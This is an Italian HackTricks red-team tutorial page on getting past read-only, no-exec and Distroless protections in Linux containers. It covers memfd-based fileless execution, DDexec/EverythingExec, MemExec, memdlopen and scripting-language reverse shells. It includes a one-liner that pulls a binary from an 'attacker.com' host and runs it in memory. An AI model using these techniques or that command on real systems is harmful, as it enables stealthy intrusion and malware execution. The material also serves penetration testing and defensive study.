.. | ||
ddexec.md | ||
README.md |
Bypass FS protections: read-only / no-exec / Distroless
Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione esclusiva di NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Se sei interessato alla carriera di hacking e vuoi hackerare l'inviolabile - stiamo assumendo! (richiesta competenza polacca scritta e parlata).
{% embed url="https://www.stmcyber.com/careers" %}
Video
Nei seguenti video puoi trovare le tecniche menzionate in questa pagina spiegate più approfonditamente:
- DEF CON 31 - Esplorazione della manipolazione della memoria Linux per furtività ed evasione
- Intrusioni furtive con DDexec-ng & in-memory dlopen() - HackTricks Track 2023
Scenario sola lettura / no-exec
È sempre più comune trovare macchine Linux montate con protezione del file system in sola lettura (ro), specialmente nei container. Questo perché eseguire un container con file system in sola lettura è semplice come impostare readOnlyRootFilesystem: true
nel securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Tuttavia, anche se il file system è montato come ro, /dev/shm
sarà comunque scrivibile, quindi è falso che non possiamo scrivere nulla sul disco. Tuttavia, questa cartella sarà montata con protezione no-exec, quindi se scarichi un binario qui non potrai eseguirlo.
{% hint style="warning" %}
Dal punto di vista di un red team, questo rende complicato scaricare ed eseguire binari che non sono già nel sistema (come backdoor o enumeratori come kubectl
).
{% endhint %}
Bypass più semplice: Script
Nota che ho menzionato binari, puoi eseguire qualsiasi script purché l'interprete sia presente nella macchina, come uno script shell se è presente sh
o uno script python se è installato python
.
Tuttavia, questo non è sufficiente per eseguire il tuo backdoor binario o altri strumenti binari che potresti aver bisogno di eseguire.
Bypass di memoria
Se vuoi eseguire un binario ma il file system non lo permette, il modo migliore per farlo è eseguirlo dalla memoria, poiché le protezioni non si applicano lì.
Bypass syscall FD + exec
Se hai motori di script potenti all'interno della macchina, come Python, Perl o Ruby, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (create_memfd
syscall), che non sarà protetto da tali protezioni e quindi chiamare una syscall exec
indicando il fd come file da eseguire.
Per fare ciò puoi facilmente utilizzare il progetto fileless-elf-exec. Puoi passargli un binario e genererà uno script nella lingua indicata con il binario compresso e codificato in b64 con le istruzioni per decodificarlo e decomprimerlo in un fd creato chiamando la syscall create_memfd
e una chiamata alla syscall exec per eseguirlo.
{% hint style="warning" %}
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno un modo predefinito per chiamare le syscall grezze da uno script, quindi non è possibile chiamare create_memfd
per creare il fd di memoria per memorizzare il binario.
Inoltre, creare un fd regolare con un file in /dev/shm
non funzionerà, poiché non ti sarà consentito eseguirlo perché si applicherà la protezione no-exec.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec è una tecnica che ti consente di modificare la memoria del tuo stesso processo sovrascrivendo il suo /proc/self/mem
.
Pertanto, controllando il codice assembly che viene eseguito dal processo, puoi scrivere uno shellcode e "mutare" il processo per eseguire qualsiasi codice arbitrario.
{% hint style="success" %} DDexec / EverythingExec ti permetterà di caricare ed eseguire il tuo shellcode o qualsiasi binario dalla memoria. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
Per ulteriori informazioni su questa tecnica, controlla su Github o:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
Memexec è il passo successivo naturale di DDexec. Si tratta di un shellcode demonizzato DDexec, quindi ogni volta che si desidera eseguire un binario diverso non è necessario riavviare DDexec, è sufficiente eseguire il codice shell memexec tramite la tecnica DDexec e quindi comunicare con questo demone per passare nuovi binari da caricare ed eseguire.
È possibile trovare un esempio su come utilizzare memexec per eseguire binari da un reverse shell PHP in https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Con uno scopo simile a DDexec, la tecnica memdlopen consente un modo più semplice di caricare binari in memoria per eseguirli successivamente. Potrebbe persino consentire di caricare binari con dipendenze.
Bypass Distroless
Cos'è Distroless
I container Distroless contengono solo i componenti minimi necessari per eseguire un'applicazione o un servizio specifico, come librerie e dipendenze di runtime, ma escludono componenti più grandi come un gestore di pacchetti, shell o utility di sistema.
L'obiettivo dei container Distroless è ridurre la superficie di attacco dei container eliminando componenti non necessari e riducendo al minimo il numero di vulnerabilità che possono essere sfruttate.
Reverse Shell
In un container Distroless potresti non trovare nemmeno sh
o bash
per ottenere una shell regolare. Non troverai nemmeno binari come ls
, whoami
, id
... tutto ciò che di solito esegui in un sistema.
{% hint style="warning" %} Pertanto, non sarai in grado di ottenere una shell inversa o enumerare il sistema come fai di solito. {% endhint %}
Tuttavia, se il container compromesso sta ad esempio eseguendo un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una shell inversa Python. Se sta eseguendo node, puoi ottenere una shell inversa di Node, e lo stesso con la maggior parte dei linguaggi di scripting.
{% hint style="success" %} Utilizzando il linguaggio di scripting potresti enumerare il sistema sfruttando le capacità del linguaggio. {% endhint %}
Se non ci sono protezioni read-only/no-exec
potresti abusare della tua shell inversa per scrivere nel file system i tuoi binari ed eseguirli.
{% hint style="success" %} Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le tecniche di esecuzione in memoria precedenti per aggirarle. {% endhint %}
Puoi trovare esempi su come sfruttare alcune vulnerabilità RCE per ottenere shell inverse di linguaggi di scripting ed eseguire binari dalla memoria in https://github.com/carlospolop/DistrolessRCE.
Se sei interessato a una carriera nell'hacking e vuoi hackerare l'inviolabile - stiamo assumendo! (richiesta competenza polacca scritta e parlata).
{% embed url="https://www.stmcyber.com/careers" %}
Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.